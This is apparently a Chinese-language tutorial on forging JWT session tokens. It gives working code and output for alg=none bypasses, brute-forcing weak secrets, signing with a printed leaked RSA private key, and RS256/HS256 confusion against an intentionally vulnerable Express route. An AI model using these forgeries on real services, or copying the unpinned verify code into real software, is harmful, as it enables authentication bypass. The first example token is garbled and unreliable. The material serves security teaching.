jwt_session伪造

JWT:将用户身份信息编码到Token,通过签名确保数据完整性,无需服务器验证,只需要验证签名完整性

jwt由三部分组成:头部.载荷.签证

e e K y y M J J U h z F b d s G W I c I D i i T O O n i i F J I m I x y U M G z j 3 I M n 1 0 M N N i i T G I Y M s 3 6 I O H n D 9 R k F 5 w N c I F C i U I w R 6 i O I b f k m 3 p F w X t h V Z 7 C S S J I m 9 6 q . I J k p p - v Q a V G 3 4 0 g R G 9 l I i w i Y W R t a W 4 i O n R y d W U s I m l h d C I 6 M T U x N j I z O T A y M n 0 .

由签证验证前两者的准确性

JWT常见漏洞

  • alg=none签名绕过

    例如如下代码生成的

    import jwt
    from datetime import datetime, timedelta
    
    # 配置参数
    SECRET_KEY = "your-256-bit-secret"  # 密钥(对于 alg=none 并不使用)
    ALGORITHM = "none"                  # 使用 alg=none 签名算法
    
    # 定义载荷(Payload)
    payload = {
        "sub": "user123",            # 用户唯一标识(Subject)
        "name": "Alice",
        "iat": datetime.utcnow(),     # 签发时间
        "exp": datetime.utcnow() + timedelta(hours=1),  # 过期时间
        "roles": ["admin"]           # 用户角色(自定义声明)
    }
    
    # 生成 JWT,不提供密钥,因为 alg=none 不需要签名
    token = jwt.encode(
        payload,
        None,  # 对于 alg=none,密钥应为 None
        algorithm=ALGORITHM
    )
    
    print("Generated JWT (alg=none):", token)
    

    会生成如下jwt

    Generated  JWT (alg=none): eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNzQwMzY3NDYyLCJleHAiOjE3NDAzNzEwNjIsInJvbGVzIjpbImFkbWluIl19
    

    可以看到是没有签证的,可以随意修改

    image.png

    或者有些代码逻辑上有问题,会出现允许none加密,这时修改加密即可绕过检测

    {"typ":"JWT","alg":"none"}.{"username":"admin","password":"a","role":"admin"}
    eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhIiwicm9sZSI6ImFkbWluIn0=.
    

    image.png

  • 弱对称密码爆破

    如果加密使用的是弱口令则可以通过工具爆破

    neko@aosc-neko205 [ JWT ] $ python3 jwtboom.py --list ../fuzzDicts/rockyou.txt --decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNzQwMzY5MTE5LCJleHAiOjE3NDAzNzI3MTksInJvbGVzIjpbImFkbWluIl19.q2adrPkB41Kl4B3ovkOBNoqNxYY-ezrQviMYnA_4uPY
    成功解码! 密钥: 123456
    解码内容: {'sub': 'user123', 'name': 'Alice', 'iat': 1740369119, 'exp': 1740372719, 'roles': ['admin']}
    

    常见的有通过python实现的字典类爆破工具以及一个c实现的爆破工具

    https://github.com/brendan-rius/c-jwt-cracker

    image.png

  • 私钥泄漏

    如果私钥泄漏,就可以通过其伪造jwt

    neko@aosc-neko205 [ JWT ] $ cat 1.py 
    import jwt 
    pub = '''
    -----BEGIN RSA PRIVATE KEY-----
    MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
    eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
    IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
    AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
    frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
    h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
    cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
    ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
    ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
    +tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
    V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
    zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
    x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
    -----END RSA PRIVATE KEY-----
    '''
    
    payload = {"user":"admin"}
    
    print(jwt.encode(payload,key=pub,algorithm='RS256'))
    
  • 非对称加密不严谨

    如下

    var express = require('express');
    var router = express.Router();
    var jwt = require('jsonwebtoken');
    var fs = require('fs');
    
    /* GET home page. */
    router.get('/', function(req, res, next) {
      res.type('html');
      var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
      var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
    
      res.cookie('auth',token);
      res.end('where is flag?');
    
    });
    
    router.post('/',function(req,res,next){
    	var flag="flag_here";
    	res.type('html');
    	var auth = req.cookies.auth;
    	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
    	jwt.verify(auth, cert,function(err, decoded) {
    	  if(decoded.user==='admin'){
    	  	res.end(flag);
    	  }else{
    	  	res.end('you are not admin'+err);
    	  }
    	});
    });
    
    module.exports = router;
    

    加密时使用了RS256进行非对称加密,但解密并没有制定算法,如果使用公钥生成一个HS256的对称加密jwt,也可以通过下面的认证